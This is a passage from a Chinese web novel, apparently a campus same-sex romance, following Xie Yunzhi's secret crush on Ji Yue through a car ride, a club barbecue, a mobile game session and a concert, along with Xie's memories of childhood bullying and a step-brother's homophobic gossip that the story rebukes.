季越对这忽然的冷场也不介意,自顾自轻轻哼起了歌,旋律是《不分手的恋爱》。 下雨了。 白得发暗的天空中不知何时聚起了阴云,雨水稀稀落落地打在地上,发出滴嗒声响,很快从小雨转成了倾盆大雨,玻璃上水痕不断滑落。 谢允执不好一直盯着季越,便偏头望向玻璃窗外。 车子快到学校时,谢允执忽然猛地蜷起身体。 胃里好像有刀片在滚动,刺痛感瞬间传遍了四肢百骸。 他将手掌抵在腹部,整个人朝前倾去,额头几乎要碰到膝盖。 察觉到他的异常,季越问:“你怎么了?” “胃突然很痛……”谢允执回答得有些吃力。 初中的时候他因为被同学霸凌,患上了严重的抑郁症和厌食症,经常一天只吃一顿饭,胃病就是那时产生的,甚至被送去过医院急救室。 上了大学后,他一直刻意在规律饮食,但大概是昨晚熬夜加早上空腹喝了一杯咖啡,胃病又犯了。 见他脸色苍白,唇无血色,季越没再多问,将方向盘拧了个弯。 车子在路口左拐,穿进武珞路,最后停在一家药店前。 季越解开安全带,推开车门,谢允执偏头看着他。 男人的身影走进药店里。 11. 接触 没过多久,季越回到车内,左手拎着个塑料袋子,右手端了一个纸杯,杯口冒着白色的热气。 “给,药。” 因为走得急,他忘了打伞。衬衫肩膀那块全被雨水洇湿了,贴在身上,颜色深了一片。 谢允执抬眼,看见雨珠挂在男人黑发的发梢上,划过脸颊,到下巴尖才滴落。 那张脸太容易让人心动,谢允执心里某个地方好像被撩了一下,升起一股暖意。从他手里接过药和杯子后,他便从男人脸上移开了目光,就着杯里的温水将药吞下。 阖上眼皮,身体背靠在座位上。 脑海里浮现出男人被雨淋湿的脸,同时耳边也回响起许驰昨晚说的那番话。 季越对谁都好,其实代表谁在他看来都不是特殊的。谢允执很想成为对他来说特殊的那个人,却也知道这是痴心妄想。 休息了一会儿,胃痛总算缓了不少。再睁开眼时,谢允执已经不再胡思乱想,客气地向季越道了谢。 又问:“这些药多少钱?我转给你。” “不用,不贵。”季越单手搭在方向盘上,偏头看着他:“药苦不苦?” 话题转太快,谢允执顿了一下,“还好。” 季越从口袋里拿出一颗糖,放到谢允执面前。 薄荷糖,谢允执以前最喜欢吃的糖,他宿舍里都得备着几盒。 车驶过下一个路口,清晨的太阳刚好从两栋楼之间的缝隙里切进来,浅金色的阳光铺满整个车厢。 谢允执剥开糖放进嘴里,没再说谢谢,糖果接触味蕾的那一刻,他的心情也跟着舒缓了许多。 ...... 季越把车开到学校附近的停车场,下车后撑开一把黑伞。 谢允执和他躲在同一把伞下,朝学校走去。两人的手臂相贴,季越的存在感很强,路上不断有行人偏头看他。 距离实在太近,谢允执有些不习惯,在安静的空气中,他不敢再明目张胆地看季越,但鼻尖还是能闻到他身上的味道,是淡淡的雪松冷香。 季越的手就在在谢允执左侧,行走时手背不经意擦过他的指尖,很轻,只接触一秒后就分开了。 谢允执发觉自己的感官仿佛被无限放大,呼吸急促,整个人都有些不自在。 他不断提醒自己要淡定,要装不在意,千万不能露出破绽。 否则喜欢他这件事,就藏不住了。 回到宿舍的时候,顾存刚从床上起身,他揉着睡得乱翘的头发看向门口,“谢哥,你回来了啊……你脸怎么这么红?” 谢允执皮肤白,脸一红就特别明显。 “外面太热了。” 顾存:“?” 外面不是在下雨吗? 上午上完早课后,季越去了趟学生出国事务办公室,递交了去英国的出国申请书。 离开办公室后,他在走廊遇到了同样来交申请书的路妍。 路妍邀请他参加周六的BBQ。 季越一开始加入社团只是因为喜欢电影,但很少参加社团活动,寻思了下觉得一直在躺尸也不太好,而且下周六他也没什么事,便答应道:“行,我会去的。” 谢允执回宿舍后补了个觉,一直睡到下午四点才醒来。 打开手机发现里面有好几条未读消息,其中有一条是路妍发的,问他要不要参加下周六的聚餐。 【路研:余虹雨,苏源,季越,xxx……他们都会来,你也一起来吧?】 谢允执原本想拒绝的,但看到参加人员里的名字后,犹豫了一下,还是改变了主意。 【谢允执:好,加我一个。】 转眼便到了周六,出门前谢允执特意换了一件夹克外套,深色牛仔裤深色牛仔裤把他一双腿衬得修长。。 看到他站在镜子前整理衣领和发型,顾存忍不住道:“你今天怎么穿这么骚气啊?” “要出门聚餐。” 谢允执的穿着打扮向来简单朴素,这是在模仿季越的穿衣风格。 见面地点在郊区的一个人造公园里,这天是个无风的晴日,谢允执到公园的时候,季越已经提前到了,大家正在七手八脚地布置野餐场地。 季越穿了一件黑的的T恤,旁边的同学注意到他手腕上戴的表,问他那表多少钱买的。 季越漫不经心道:“忘了,朋友送的。” 谢允执知道那是江诗丹顿的表,价格很贵,至少六位数,顾存用的也是这个牌子的表。 季越没有外露的优越感,甚至在诸多细节上已经在竭力注意避免搞特殊,但这些被冠以顶级奢侈品的东西在他的生活中应该是稀松平常的。 平时被他谦逊为人所掩盖的细节这时候又钻出来了:这位毕竟还是个富家公子。 不,富家二字都显得小气,应该叫豪门少爷。 “呀,遭了,忘记买饮料了。”路妍在一堆塑料袋里翻找了一会儿,突然惨叫道。 谢允执就站在她旁边,听到她这么说,主动道:“我去买吧。” 参加聚餐的一共十五个人,季越觉得他一个人可能拿不完,提议和他一起去。 “固体酒精可能也不够,你们记得一起买回来,费用我后面再报销。” “好。”谢允执点了点头,和季越一起来到公园门口。 谢允执看了眼手机里的地图导航,“超市离这儿有点远,我们打车过去吧?” “不用,我的车就在附近。”季越双手插在裤兜里往前走,头也没回,谢允执亦步亦趋地跟在他后面,他本以为他说的是那辆红色的奔驰,却见季越走到一辆停在路边的黑色的摩托车前。 他把挂在车头处的头盔解下来,递给谢允执。 谢允执接过后,把把头盔套在头上,却发现这头盔和他以前用的不太一样,怎么也戴不进去。 站在一边的季越看乐了,走过来帮他调整位置。 “这是赛车头盔,要先掰开下面的开口。” 谢允执戴好后,季越看了他一眼。男人的上半张脸被隔离在防风镜后,镜面上反映出四周郁郁葱葱的树木和更远处的蓝天,让那对漆黑冷漠的瞳孔变得流光溢彩。 季越低头笑了一下,谢允执觉得有点奇怪,问:“怎么了?”“你戴起来还挺好看的,像F1的法拉利男模。” 有那么一瞬间,谢允执从他的脸上看到了温柔。 季越跨到车上后,谢允执也坐上了摩托车的后座。风呼呼地吹着,季越开得很快。谢允执额前的头发被吹得凌乱,不得不眯起眼睛。 “下坡了,抓紧。”季越拧动摩托车的车把,“嗡”的一声,车子开始加速。 谢允执下意识搂紧了他的腰,心跳到了嗓子眼上。隔着薄薄的布料,他能感觉到季越紧绷的肌肉和硬朗的骨骼。 忽然一个拐坡,谢允执受惯力冲击撞在季越背上,整个人贴在了他身上。 季越的身体僵住,他感受到谢允执柔软的嘴唇擦过他的后颈。 喉咙一瞬间痒了起来。 谢允执立刻坐直身体,慌张地说道:“对不起。” 季越没有立刻回答,舌尖抵住下颚,继续往前开。但是刻意放松油门,减缓了速度。 季越的后背宽阔,尤其弓起的肩胛骨十分明显。晚风有点凉,但吹起来很舒服。谢允执盯着他脖子上青色的血管,闻到了他身上的味道,凛冽又独特,一点点灌满鼻息。 买完东西,两人回到公园,把袋子放在烧烤架旁。 聚会开始后,余虹雨从包里拿出一副卡牌说:“光吃东西太无聊了,我们来玩真心话大冒险吧。” 大家轮流抽卡,谢允执抽到了真心话。 余虹雨看着他的卡牌,把问题念了出来:“你最喜欢的人是谁?” 谢允执看了眼坐在对面的季越,发现季越也在看着他,像是也想知道这个问题的答案。 “林子璇。”谢允执回答道。 这是他最喜欢的歌手的名字。不算撒谎,但是避开了问题的核心。 “歌手林子璇”?” “嗯。” 大家没再追问,谢允执松了口气,就这样蒙混过关。 “我去抽根烟。”谢允执身边的同学说着,起身离开了座位。 他离开后,季越坐了过来,偏头对谢允执道:“如果你有空的话,下周三要不要一起去听林子璇的演唱会?我有两张门票。” 乔思凡也喜欢林子璇,季越是半个月前买的票,原本打算和她一起去的,可惜他们在演唱会开始之前就分了手。 另一张票还没想好怎么处理,丢掉似乎有些浪费,听到谢允执说他也喜欢林子璇,季越便想干脆把票送给他好了。 谢允执没想到季越会突然坐过来,按照正常的交往礼数来说,对方问了他一个问题,他应该回答才对。可是两个人靠得太近,他的大脑一片空白。谢允执不知道为什么他会主动邀请自己,一时间受宠若惊。 “怎么不说话?”季越的声音从旁边传过来,带着磁性的颗粒感,低沉又好听。“去吗?” “去,但是门票钱我得转给你。” “可以,”季越拿出手机,“加个微信吧,到时候我来接你。” “我不是女生,不用特意来接我。”谢允执通过了季越的好友申请,心情有些激动,但语调如常,“地铁站见可以吗?” 12. 备注 my 季越说了声“好”。 吃完烧烤后,路妍才提起组织这次活动的真正目的。 她想参加今年的大学生微电影大赛,但光靠她一个人没法完成电影的拍摄,还需要更多人手。她是导演系的,打算借这个比赛先练练手。 “剧本已经写好了,大家可以先看看。”她从背包里拿出打印好的剧本一一递给众人,然后简单向大家介绍了一下比赛的要求。 “这个比赛不限制专业的,只要是在校学生都可以参加。十二月前提交报名表和作品,一月份评审,明年二月就会公布获奖作品。” 谢允执看了会儿剧本,扉页的标题上写着四个字——《极昼与夜》,编剧是苏源。 谢允执对苏源有些印象,上次观影会苏源就坐在他旁边,两人聊过会儿天。 苏源是文学系大一的新生,高中的时候因为获得了新概念作文大赛一等奖而声名大噪,去年他写了一本犯罪,出版后迅速成为现象级的畅销书,是个很有天赋的作家。 《极昼与夜》剧情并不复杂,讲述的是一个以大学生为主角的悬疑犯罪故事。男主角夏业刚满十八岁,却进过多次少管所,出狱后进入工厂工作。在一个早春的雨夜,他骑摩托车与一辆轿车相撞受重伤。 醒来后,自称轿车车主的女人苏昼出现在他面前。 苏昼是一名心理学教授,看到夏业无人依靠、生活困难,又因自己的失误而身受重伤,便提议在伤好之前由自己来照顾他。 起初笨拙的夏业逐渐对温柔的苏昼卸下心防,两人距离迅速拉近。这是一个关于两个带着内心创伤的人,如何在日常相处中慢慢疗愈、学习如何去信任与爱的故事。 约莫过了半个小时,等大家看完剧本后,路妍询问又询问了一次谁想一起参加。 “一等奖的奖金是8万,二等奖6万,三等奖3万。要是获奖了,奖金可以一起平分。” “我参加。”季越是第一个回应她的人,倒不是为了奖金,他只是单纯喜欢那个剧本。 路妍微笑道,“好。” 季越的外形阳刚硬朗,路妍打算让他出演剧本里的警察,她打量着他道:“你穿警服一定很合适。” 季越却说:“我不想出镜,只负责做音乐行吗?” 路妍有些惋惜,但还是点头应允。 “我也参加。”谢允执说。他并不想放过这个和季越相处的机会。“我想和季越一起做音乐。” 季越偏头看了谢允执一眼。 “你会编曲吗?”路妍问。 “懂一点。我学过吉他。” 听到他的话,季越忍不住挑了挑眉。 “你会吉他?” “嗯。” “挺酷的。”季越吹了声口哨,对谢允执产生了些许兴趣。 谢允执心想,我会学吉他也是因为你。 高一的时候,季越参加过星海音乐学院举办的钢琴比赛,从校赛一路晋级到国赛,最后拿到了国赛的金奖。 比赛结束后他受邀参加了本地新闻台的采访,主持人问他平时练琴辛不辛苦,他说“还行吧,对我来说比背书轻松多了。”总有种轻描淡写的张狂。 采访播出的时候,谢允执正在和母亲一起吃饭。谢雯调台的时候,他无意中在新闻上面看到季越。 饭后他特意在网上搜索,找到了这个采访的回放,耐心地把它看了一遍。 主持人问了季越很多问题,季越提到其实他更想学吉他,只是父母不让。 当天晚上,谢允执就对谢雯说:“妈,我想学吉他。” 谢允执很少向父母提什么要求,小时候同龄的男孩子喜欢玩具、游戏机,他却从没向父母要过,零花钱和压岁钱也一直是放在谢雯那里存起来的。 难得听儿子主动想学什么东西,谢雯欣然答应了,第二天她就带他去附近的琴行找老师报了班。 从高一到高三,谢允执一共学了三年吉他。 高四那年他复读,为了考上季越所在的大学,把主要精力都花在了学习上,吉他也就暂时搁置了。 虽然他不是从小开始学的,但那三年他也下了苦功,还算学得不错,比不上职业演奏家,但是能演奏中高级的指弹曲,会扒谱改编流行歌曲,也会布鲁斯和爵士的即兴演奏。 “行,那你们俩就一起合作吧,电影的主题曲和配乐就交给你们了。”路妍说。 除了他们俩还有几个同学想加入,路妍把要参加比赛的同学都拉进了一个群里,让大家各自改了备注。 …… 回到宿舍后,谢允执盯着自己手机里季越的微信,觉得很像在做梦。 他居然加到了季越的微信。 高中的时候,班里同学都在一个班级qq群里。当时他就加过季越,季越也通过了他的好友申请,可是两个人从没聊过天。 季越的QQ动态在高中毕业后就再也没更新过了,不知道是因为换了账号,还是该用微信不再用QQ了。 他看了眼季越的微信头像,是一张失焦拍摄的侧脸,微微低头点烟,颗粒感的黑白滤镜,能看到轮廓分明的下颌线和喉结,三分随意,五分不屑,两分深情。 很符合他本人的气质。 点进他朋友圈一看,动态寥寥无几,仅有的几条是旅游和参加演出的照片。 J这个字母排在后面,谢允执希望第一眼就能看到他的微信,于是给他改了一个备注。 Ai麦恩莉。 这样季越就排到了他通讯录里的第一个。 麦恩莉——myonly。 代表他是对自己最重要的人。 谢允执刚改完备注,手机就震动了一下。 顾存发来一条消息。 【顾存:谢哥,一起打游戏不?】 【谢允执:你现在不是应该在上课吗?】 【顾存:水课。不听也行。】 发完这条消息后,顾存发来一个游戏组队的邀请链接。 谢允执点进去,手机自动跳转到吃鸡的游戏界面。 刚进入游戏,他就发现队伍里还有另一个人。 是季越,他的游戏昵称是【笑着送你走】。 聊天框里,季越发来一条消息。 【笑着送你走:嗨,谢允执,又见面了。你已经到宿舍了?】 谢允执的心跳异常加快,生怕下一秒屏幕会弹出消息来。 他用手指在对话框里打出“哈喽”,删掉,重新编辑“我已经到了”,觉得太冷淡,又删了。 【新手X:对^_^】 【存在即正义:待会儿我们跳机场吧?来把刺激的。】 【新手X:好。】 游戏一开始,顾存就在机场标了个点。 三个人先后跳了伞。谢允执和顾存一起行动,清完一栋楼的物资后,突然听到附近传来脚步声。 顾存:“有人过来了,谢哥你躲好。” 谢允执拿着一把手枪,蹲在房间的角落里:“嗯。” 顾存打算出门,结果刚经过窗户就被对面楼里埋伏着的敌人打了一梭子,人物骤然倒地。 “靠,对面阴我!”顾存气得声音都大了些。 门外的敌人翻窗冲了上来,毫不留情地在他身上又补了几枪。 紧跟着,系统弹出顾存被击倒的提示。 谢允执和对方开始互射,一通扫射下来,对方掉了点血,谢允执却只剩下红血,人物倒在地上,无法再开枪。 谢允执的账号等级很低,他以前从不玩游戏,会注册这个账号也是因为室友都在玩,敌人离他太近,他本来已经决定放弃挣扎。 然而下一秒,枪声响起,界面右上角突然弹出一行提示—— 【笑着送你走以M762爆头击倒了abcd】 他面前的敌人被窗外的季越一枪崩死了。 谢允执愣了愣,季越翻窗而入,耳机里传来一道由远至近的脚步声。 谢允执挪了一下视角,看见季越在他身前蹲下,在他血条殆尽的最后一秒,把他扶住了。 谢允执眨了下眼,大概是刚刚从死里逃生,他的心跳忍不住陡然加速。 游戏角色站起来后,他还有些蒙,季越往地上丢了个东西, “噔”的一声,地上出现一把枪和两个急救包。 “给。” 谢允执捡起地上的物资:“谢谢。” “小心,又有人过来了!”顾存在耳麦里喊道。 季越反应极快,回头直接开镜扫死一个,敌人倒下之前朝他开了两枪,季越的血条瞬间变成粉红色。 但紧接着,谢允执就瞥见一个敌人在楼梯上方瞄人,他下意识就开了枪。 谢允执玩这游戏很少能杀人,敌人用枪瞄准季越的那几秒里,谢允执觉得自己的胸腔都要爆炸了。 完成击杀时,谢允执重重松了口气,忍不住往后一靠,他松开手机,才发现自己掌心里都是汗。 “干的不错。”季越的声音从耳机里传来,就好像在他耳边轻声细语。 谢允执脸颊莫名开始发热,重新把自己的子弹重新装填满。 季越和顾存的账号分高,所以这局排到的敌人都很厉害,但这并不妨碍季越扛着把M762大杀四方,先是骑着摩托车突袭干掉了一支满编队,之后又用一个手榴弹精准收掉了隔壁蹲在草丛里的人头。 谁都没注意到草丛里有人,手榴弹击杀跳出来后,对面只能发出“卧槽”两个字。 13. 约会 谢允执小心翼翼地趴着前进,打开了敌人的盒子,问季越:“要换枪吗?” “不。”季越说,“我喜欢M762。” “为什么?”谢允执下意识反问。 一号队友说:“你不知道吗,M762,俗称近战猛男枪。” 顾存附和道:“没错,我发小就是绝世猛男,当然得用M762。” 耳机里,季越忍不住很轻地笑了一声,声音夹杂在枪林弹雨中。 三个人一直玩到了下午四点。谢允执玩的很投入,根本没注意时间流逝,直到季越提出休息,他才发现已经玩了这么久了。这是谢允执第一次体会到这个游戏的魅力,原来游戏也可以这么刺激。 …… 卧室里,季越退出游戏后,从墙边的钢琴上方拿起一张演唱会的门票,拍照发给了谢允执。 【季越:[图片]】 【谢允执:收到。】 看着他的回复,季越心想这学弟还真是一本正经得有点儿可爱。 【谢允执:多少钱?我转给你吧。】 季越报了个不算高的价格,对面立马转账过来。 季越点了收款,本来他是不打算收钱的,但谢允执是个较真的人,尽管相处时间不长,季越也发现了他和自己那些哥们儿不太一样,如果不收下这笔钱,他心里可能反而不自在。 演唱会下午三点半在体育中心举行,两人便约好中午十二点东风公司站见面。 关了手机,季越把身子挪到书桌前,打开病理学的课本开始复习。 他看书时习惯边看边在疑惑地方进行批注,拿笔的时候目光落在万宝龙的笔尖上,脑海里闪过谢允执用钢笔写字的样子。 冷峻禁欲的五官,皮肤白皙透亮,鼻梁高挺,表情严肃认真,就算休息时间也是在自己的座位上看书的类型。 上大学后,季越就很少用钢笔了,但今晚做批注的时候,他下意识用了万宝龙的钢笔。 虽然加墨有些麻烦,但他很喜欢钢笔写在纸上的触感。 高中念书的时候季越经常熬夜,上了大学之后每天作息却很规律,十二点一过已经有些倦意。 到了约定的前一天晚上,季越因为背书熬了个夜,睡到早上十点才醒。准确来说,是被吵醒的。 他家里养了只边牧,叫年糕,是个大吃货,早上七点保姆才给它喂过狗粮,还没到中午,它又饿了,对着季越又舔又叫。 被那叫声吵醒,季睁开双眼,伸手去挠了挠那狗的下颌。 这狗是个黑白花的脸,头上有些黑毛丝丝缕缕披下来,淹没了上半张脸,活像个小姑娘。起身下床后,他熟稔地给狗开了个罐头,却没立刻喂给它,而是拿着罐头逗狗玩。 狗头随着他的动作摇来晃去,每次要吃到了,他又把罐头拿来,把狗逗得口水直流,引颈长嚎。 “二货。”季越笑着,终于不再逗它,把罐头放在了地上。 在卫生间洗漱完后,他去更衣间换了身衣服。 季越是个活的很精致的人,从头到脚无一不在宣告着他的品位。 不同于季近严日复一日的死气沉沉的黑色西装搭配,他讲究服装的版型和颜色,衣服裤子的细节决定鞋袜袖扣的搭配,在私下也会换上不一样的风格,更多偏向于休闲。 正准备出门,在花园里浇花的梁芸看见他,问:“你要去哪儿?” 梁芸穿着一件深蓝色与白色粗格花纹的裙式大衣,饰带紧束着婀娜细腰。她是非常不显老的骨相,细眉鹅蛋脸,脸上淡妆,乌发精美地盘在脑后,即使年近中年,依然风姿楚楚。 “和朋友去听演唱会。” 身为钢琴家的母亲生活十分自由,经常去世界各地举行演出,绝大部分时间都不在家里,季越和她常常碰不到面。 父亲也是如此,因为生意和应酬辗转于全国各地。小时候,他对于一家人无法围坐在一起用餐也感到寂寞过,但也早已经习惯了。 父亲和母亲都不在的晚上,不管他玩游戏机玩到多晚,也不会有人来责备,对现在的季越来说,一个人的生活反而乐得自在。 打量着季越身上单薄的外套,梁芸皱了皱眉。 “马上入冬了,你应该穿厚点儿,裤子撩起来我看看,是不是也没穿秋裤?” “现在才十月月,又没下雪。” “你冬天最爱感冒的……” 知道梁芸爱唠叨,季越没再多说什么,关上门转身动作行云流水地离开了家里。 开玩笑,谁家帅哥去听演唱会穿秋裤啊。 …… 季越是开自己车去的,到地铁站外面时,手机震动了一下。 是谢允执发来消息。 【我已经到了,你在哪儿?】 季越降下车窗,探出脑袋才看到路边站着一个穿着黑色高领毛衣,戴眼镜的男人。 “谢允执。” 男人突然转过头来,视线正好对上一直盯着他的季越的视线。 “吃午饭了吗?” “还没。” “上车,我订了餐厅。” 季越打开副驾驶的车门,谢允执弯腰坐了进来。 季越带他走进一家名为“叙旧”的西餐厅。 这家店位于商场四楼,入口虽然狭窄,内部却很宽敞,L型布局,特意拉开距离摆放着古典的桌椅,连墙上挂钟的装饰框也是幽暗的赭石色,仿佛把人带回几十年前的旧时光的店堂中,飘荡着音量不会若人注意的音乐。 应该是爵士乐吧——谢允执无意地想着。 季越在柜台和打着领结的店长的核实订单后,两人就在后方靠窗的座位坐了下来。 和谢允执平时常去的连锁速食店不同,这家餐厅充满了高级感,食客看起来也都是有钱人。 正介意着自己和这里格格不入的时候,服务员走到桌边问: “请问你们需要红酒吗?” 说着将酒水目录拿给他们看。 季越点了一瓶Barolo,把菜单递给谢允执道:“我记得你不能喝酒,你看看想喝什么。” 谢允执看了眼菜单,发现这里也有无酒精的鸡尾酒,便点了一杯 薄荷莫吉托。 等待上餐的间隙,谢允执的手机频频响起消息提示音。 谢允执今天其实很忙,中午本来有一个组会要开,下午还有一个关于组织校庆活动的班会得参加,但是为了来见季越,他把这两个会都推掉了。 因为他没法参加,组会就改成线上讨论。花费几分钟时间回复完群里的消息后,谢允执才放下手机。 “你在跟谁聊天?”季越忍不住问。 “课题组的同学。”谢允执解释道:“我们刚才正在开组会。” 低而柔和的声音,语气好像什么也没发生似的十分沉着。但和那种语气相反的,却是耳朵尖都红透了,交叉在桌上的双手更是绞得指尖发白。看着那微微绷紧的肩膀,季越总觉得他在紧张。 季越看着他,心想,这么忙,那为什么要答应和自己一起听演唱会? “会已经开完了。抱歉,刚才一直在看手机。” “没事。”季越想了想,换了个适合闲聊的话题: “对了,我有点好奇,你为什么想学法律?” 不知道这个问题是否踩到了什么禁区,谢允执陷入了漫长的沉默。没有接话。 “因为被霸凌过。” 就在季越以为他不会回答的时候,谢允执开口了,语调低沉。 霸凌? “对不起,失言了。” 谢允执摇头。 “没什么,都是过去的事了。初中的时候,我父亲请同事帮他顶班,结果对方出了意外,触电身亡了。” 季越没想到日常的对话突然变成如此沉重,思考暂停,重述道:“触电身亡?” “没错。”谢允执继续说着,“死者叫汪远,不仅是我父亲的同事,也是和他关系很好的朋友。我父亲和汪远的都在电厂上班,那天本该是我父亲负责去修理一个输电塔,但他有别的急事要处理,就打电话请汪远帮他顶班。汪远想也没想就答应了。没想到,他却因此次维修操作不当,被高压电击中,当场身亡了。” “汪远的儿子和我曾经也是很好的死党,我们两家就住在一个小区,小学和初中都是在一个学校上的。但自从那次事故发生后,对方就对我产生了刻骨的恨意,坚持认为我父亲是他的杀父仇人。” 从初中时起,汪远的儿子汪南就一直在霸凌他。起初,是在他坐下的一瞬间把凳子抽走,让他当着全班的面摔在地上,把“我是杀人犯”贴在他后背上,让他背着这五个字走完一整天,直到有同学偷偷告诉他。 后来升级了,汪南开始抢他的东西,午饭钱、新买的钢笔、谢雯给他买的手套,全被汪南抢走,再也没还过。他试着把钱藏起来,但汪南会当着众人的面把他的书桌掀翻,把所有东西倒在地上,踩着课本走过去。 初二那年冬天,他被堵在厕所隔间里。汪南和两个人从上面泼下来一整桶冰水,十二月的天,他浑身湿透,牙齿打颤,上课铃响了也不敢回教室。他在厕所里蹲了半节课,最后是清洁工阿姨发现的,给他找了件旧棉袄。班主任问他怎么回事,他说自己不小心掉进水池里了。 14. 过去 他不敢说实话。上次说实话,汪南被叫了家长,后来她母亲在教师办公室撒泼,大闹了一场,说都是赵明峰先害死了她老公,她儿子才会这么做的。 第二天赵明峰就被叫去学校,不知道老师们和他说了什么,回家后,他揍了谢允执一顿,还说:“你就不能忍忍吗,你想让全天下都知道我害死了他爸啊?” 于是,谢允执学会了闭嘴,学会了低头走路,也学会了在汪南靠近时不自觉地缩起肩膀。不记得从什么时候开始的,他开始害怕上学,每天早上起床时胃就像被人攥住了一样。他找各种借口不去学校,肚子疼、头疼、发烧,谢雯带他看了好几次医生,查不出毛病。后来谢雯很严厉地看着他说“你是不是不想读书了”,他只好每天继续背着书包出门,然后在路上多绕两条街的远路,就为了避开上学时有可能撞见汪南的那条街。 但躲不掉的。他们是同班同学,每天都要坐在同一间教室里,汪南就坐在他后面两排。每次听到汪南的笑声,他后背就发紧。 真惨啊。话题过于沉重而有些冷场。季越觉得什么都不说有些失礼,便道:“那时的你一定很辛苦吧。” 谢允执没有否认。“当时我一直想,要是有人能为我主持公道就好了,可惜没有人为我说话。所以我想成为律师,律师是为受害者辩护的人,我想用规则保护那些不敢说话的人。” 他抬起脸来,笨拙地笑了一下。 “这还是我第一次跟人说起父亲的事。希望你不要看不起我。” 季越微笑着:“当然不会。” “我初中和高中没有朋友。也讨厌让别人知道我父亲的事情。” “你不是说给我听了吗。” 想告诉你,因为你是特别的……对于喜欢的人,想让他彻底了解我这个人。谢允执心想,却没法把这些话说出口。 用餐结束后,两人一起去听演唱会。 入口处人影纷杂,季越让谢允执先在路边先下了车。 季越偏头道:“等我会儿,我去停车。” 最近的停车场在另一个街区,季越停好车往回走的时候,在街道拐角处遇到了宋承言。 宋承言戴着顶黑色的鸭舌帽,他原本是约了余虹雨一起来听演唱会的,可惜对方迟迟没有现身,不知道是不是又要放他鸽子了。 注意到季越和谢允执也出现在演唱会入口附近,他忍不住来找季越: “季越,我刚刚看到谢允执从你车上下来,你怎么跟他混在一起?” 季越停下脚步,看向宋承言:“我和他来听演唱会。” 宋承言皱着脸,一副“你在跟我开玩笑吧”的表情。 “你之前让我帮你买票的时候,不是说要和女朋友一起来吗?” 季越舌尖顶了一下左脸颊,“我跟她分手了。” 季越把聚餐时听到谢允执说喜欢林子璇,所以决定把另一张票给他的事告诉宋承言。 “你没搞错吧,两个大男人一起来听演唱会?” “你是不是想歪了,我和他只是普通同学关系。” “我当然知道,你这样的人,怎么可能看上那种货色。” 听到他这么说,季越眉头皱了一下。 “我觉得他人挺好的。” “那只是假象。”宋承言一脸厌恶地说:“你应该不知道吧,他其实是gay。” 季越愣了一下,下意识地眯起眼睛,“什么?” “谢允执是gay。”宋承言又重复了一遍,这一次是陈述句。“高中的时候,他偷拍过一个男生的照片,还对着那些照片手.淫,别提多恶心了。” 宋承言这番话其实有些添油加醋。前半句是真的,后半句完全是他杜撰的。 高二那年的暑假,谢允执搬去了宋至家里,那个月刚好赶上他的十八岁生日,为了和这位家庭新成员处好关系,宋至花重金给他买了一双Nike球鞋当生日礼物。 当时宋至的经济情况还很拮据,钱都用来给前妻治病了。宋承言觉得他爸这么做对他和他妈来说完全是一种赤裸裸的背叛。 凭什么给他买那么贵的礼物? 他想给谢允执一个下马威,于是便趁谢允执出门的时候,偷偷溜进了他的卧室。 但是在他屋子里找了半天也没找到那双球鞋,他思考了一下,打开了谢允执的衣柜,没想到在里面发现了一本相册。 宋承言翻开看了一会儿,发现里全是一个穿着校服的男生的背影,扉页还写着一段话:“山有木兮木有枝,心悦君兮君不知。” 宋承言刚看了没多久,身后就传来一道冰冷的声音:“你在干什么?” 宋承言冷不防被吓了一跳,转身发现谢允执不知何时来到了门口。 目光扫过他手里拿着的相册,谢允执皱眉道:那是我的东西,你凭什么碰,还给我。” 说着想夺回相册。 宋承言猛的推了他一把,后退一步,把手里的东西高高举起,他坏笑着,以为自己抓住了他的把柄:“这些照片是怎么回事?谢允执,你喜欢男人是不是,真恶心,没想到你是个变态。你猜要是我把这件事告诉我爸,他会怎么办?” 就是因为这件事,谢允执才会对谢雯说他想搬出去住的。宋承言答应他,只要他搬出去就替他保守这个秘密。 但宋承言只答应谢允执不告诉他的父母,却没答应他不告诉别人。 “季越,你不是同性恋吧?” 季越眼皮跳了一下,挑眉:"当然不是。” “那你最好离谢允执远一点,免得被他拐上床了。” 季越的长相俊朗,连他这个直男看了都觉得帅得要命,弯的肯定也无法抵抗,宋承言是好心提醒,怕他被谢允执引上歧途。 季越却像根本没把他的话听进去一样,漫不经心道:“你恐同吗?我觉得同性恋跟普通人也没什么区别。” 宋承言微微睁大眼,一时之间无言以对。 季越对背后说别人坏话这种行为实在是敬谢不敏,他抬起手腕看了看表:“演唱会快开始了,我先走了。” 之后便转身离开了。 来到谢允执身边后,季越低头看着他道:“久等了,咱们进去吧。 ” 谢允执点头。两人并肩走进了体育场。 途中渐渐开始感受到身边的视线,季越微微偏头,视线扫过身边的男人的侧脸。 黑色的衣领上方,是一截冷白的脖颈。 不知道是不是因为宋承言那番话,季越对身旁的人比之前多了几分在意。 谢允执朝他靠近的时候,他整个人身体好像有些僵硬,但那并非因为害怕。 季越接受的教育足够开明,他小学是在英国读的,又一直在包容的环境里长大,他的朋友当中也有几对同性伴侣,其他朋友都非常祝福,没有任何人表现出来一点排斥。 但当同性恋这个词和谢允执挂钩时,似乎就有点不一样了,但为什么不一样,季越说不上来。 两个人坐在偌大的体育场远远的高处,女歌手只是一个色彩斑斓的身影。Fans很疯狂,歌声停的时候会场总是吵得不行,谢允执一直老实坐着,安静听歌,有时甚至轻轻跟着和。 不知道是不是因为就在耳边的缘故,季越发现自己竟然在那么吵闹的场合也能分辨出谢允执的声音。 季越并不知道自己此时的情绪该如何形容。知道这个概念和接受这种感情存在是一回事,谢允执是同性恋,而现在谢允执就坐在他旁边,和他一起听演唱会。 出场的时候将近晚上七点半,体育场附近要走的人太多,拦不到计程车,于是季越便好心开车送谢允执回学校。 路两边高大的路灯彻夜通明,谢允执坐在副驾驶座上,还在不自觉地轻声哼歌。 季越嘴里嚼着薄荷糖,脸上挂着懒散的笑:“听起来就好像即使有全场那么多人,她也是给你一个人唱的,对吧?” 谢允执转头,“嗯。” 回家后,季越脱了外套插着兜走进家门,刚进屋,就注意到了玄关处的男士皮鞋。 他抬起头,看到了沙发上的季近严,脸上的笑意瞬间收敛得干干净净。季近严身边还坐一个西装革履,看起来文绉绉的男人。 听到开门声,西装男起身朝季越走来,声音热切:“这位就是季家的大少爷吧,幸会。”说着上前一步,伸出手想和季越握手。 季越双手插兜,漠然地看着他:“你谁?” “季越,这位是江然,是我高薪聘来的秘书,哈佛毕业的,以前在xx投资集团做过财务总监,你以后可要跟他好好学习。” 客厅富丽堂皇,琉璃吊灯的灯光溢下来,季越在沙发上坐下,放肆地跷起了二郎腿。他看上去心情不佳,英气逼人的脸上隐隐透着冷峻。 